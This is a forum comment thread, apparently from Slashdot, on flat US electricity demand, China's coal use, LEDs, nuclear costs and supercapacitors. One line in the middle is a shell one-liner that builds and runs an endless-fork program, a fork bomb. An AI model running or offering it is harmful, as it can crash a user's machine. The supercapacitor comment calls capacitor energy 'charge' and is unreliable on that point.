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After Rising For 100 Years, Electricity Demand is Flat (vox.com)
An anonymous reader shares a report: The US electricity sector is in a period of unprecedented change and turmoil. Renewable energy prices are falling like crazy. Natural gas production continues its extraordinary surge. Coal, the golden child of the current administration, is headed down the tubes. In all that bedlam, it's easy to lose sight of an equally important (if less sexy) trend: Demand for electricity is stagnant. Thanks to a combination of greater energy efficiency, outsourcing of heavy industry, and customers generating their own power on site, demand for utility power has been flat for 10 years, and most forecasts expect it to stay that way. The die was cast around 1998, when GDP growth and electricity demand growth became "decoupled." This historic shift has wreaked havoc in the utility industry in ways large and small, visible and obscure. Some of that havoc is high-profile and headline-making, as in the recent requests from utilities (and attempts by the Trump administration) to bail out large coal and nuclear plants.
Peak coal in China? Not according to the Chinese government.
https://en.wikipedia.org/wiki/Coal_in_China
"electricity consumption is expected to grow by 3.6-4 percent over 2016 to 2020 according to (China's Official) Thirteenth (five-year) Plan (2016–2020).[4] According to the same five-year plan, coal power capacity will be expanded from 960 GW to under 1,100 GW by the end of 2020 to meet some of the continued growth in electricity demand.[4] Indeed, in the first two months of 2016, China had added 22 GW of capacity, 14 GW of which was coal, according to the China Electricity Council.[5] "
Yup, they've agreed to peak emissions 'around 2030'
https://www.reuters.com/articl...
BEIJING, Nov 14 (Reuters) - China's total volume of carbon emissions is set to rise by a third in the next 16 years, according to scholars from China's Tsinghua University, even as the world's biggest carbon polluter has pledged the climate-warming gas emissions will peak by 2030.
China's president Xi Jinping announced this week that the country would strive to bring its spiralling carbon emissions to a peak by "around 2030" as part of a joint commitment with the United States to combat global warming.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
LED have a longer life
I don't know about that.
I do. I've been running LEDs since 2008; I have 75 of them in my house. Some of the earlier ones did die early, but the current versions just keep on going; a lot more long-lived than even the old CF bulbs.
http://www.geoffreylandis.com
... and uneducated far left wingers continue to make large 1GW nukes far too expensive. ...
Ah yes the all powerful hippies who crush multi-national corporations under their dirty Birkenstocks! Will their tyranny never end? Will the capitalist never get a break?
The high capital costs of nuclear power plants are, as the nuclear industry's World Nuclear Association says are "In general the construction costs of nuclear power plants are significantly higher than for coal- or gas-fired plants because of the need to use special materials, and to incorporate sophisticated safety features and back-up control equipment."
Cost could be cut pretty much only by cutting out those "sophisticated safety features and back-up control equipment". One argument that proponents of nuclear plants make is their intrinsic safety - that depends on those very features.
Sorry you can't have safe plants, and cheap ones.
Second class citizen of the New Gilded Age
I work in the energy sector and I can assure you some of your assertions are inaccurate. Utilities actually still loved nuclear from a cost per KW perspective. It was simply the PR and strong NIMBY component which kept it from proliferating. Had fracking not caused the influx of natural gas to destroy the price I assure you Nuclear would still be a darling.
You're right about solar but utilities are figuring it out and making it work.
Battery storage is now cost effective and IS being deployed in large scale nationwide. It isn't intended to provide the total power for any location but to provide stress relief for the grid during peak usage.
"A person is smart. People are dumb, panicky dangerous animals and you know it." - K
Actually, the US is to blame for trade agreements without any consideration for environmental regulation of our trade partners. We are a major consumer of the goods whose production was shifted from the US to those foreign nations. The corporations that sourced their goods from China are fully capable of reviewing their manufacturing and energy generation practices to ensure they're meeting a high standard. We may not be physically throwing garbage over the fence, but it's in our closing our eyes, plugging our ears, and holding our mouths shut that we ensure the same result.
As the consumer, we are just as responsible for ensuring that our goods are sourced from those using environmentally sound methods. Instead we decided price is the only thing that matters. Yet, ironically, it's the market forces that determine prices, not the price of production. Cheap labor, cheap manufacturing processes, and cheap energy generation do not lead to a proportional reduction in price.
In effect, the consumers have gladly handed over their money for a small savings, watched it filter up to the wealthiest individuals and businesses and stagnating there, while the workers didn't get paid for the value they produced and we destroyed our environment in the process.
Go us!
supercapacitors at present are more sci-fi than fact if they are thought of as competing (in capacity) to batteries.
The formula for a capacitor has in its formula A/d
A is the area (of the plates)
d is the distance (between the plates)
so a small distance and big area is how to make super capacitors. The problem comes when you want to charge the capacitor because the d distance sets the limit of the voltage (due to the breakdown the the diametric, which is whatever material is between the plates) the charge stored on a capacitor is
0.5 (CV^2) so the charge is proportional to the square of the voltage meaning you need lots of voltage to get a big charge (or amount of stored energy) so what makes the capacitor value large makes the amount of charge you can store small. This is the issue currently with super capacitors just because of the basic physics of capacitors. So unless an amazing dielectric is found that has super incredibly high breakdown voltage and is easy to form onto the plates we probably will have to keep looking to batteries.
You can't handle the truth! - Because I don't post left all my comments get modded down, bye bye Karma.
can someone mod this comment up?
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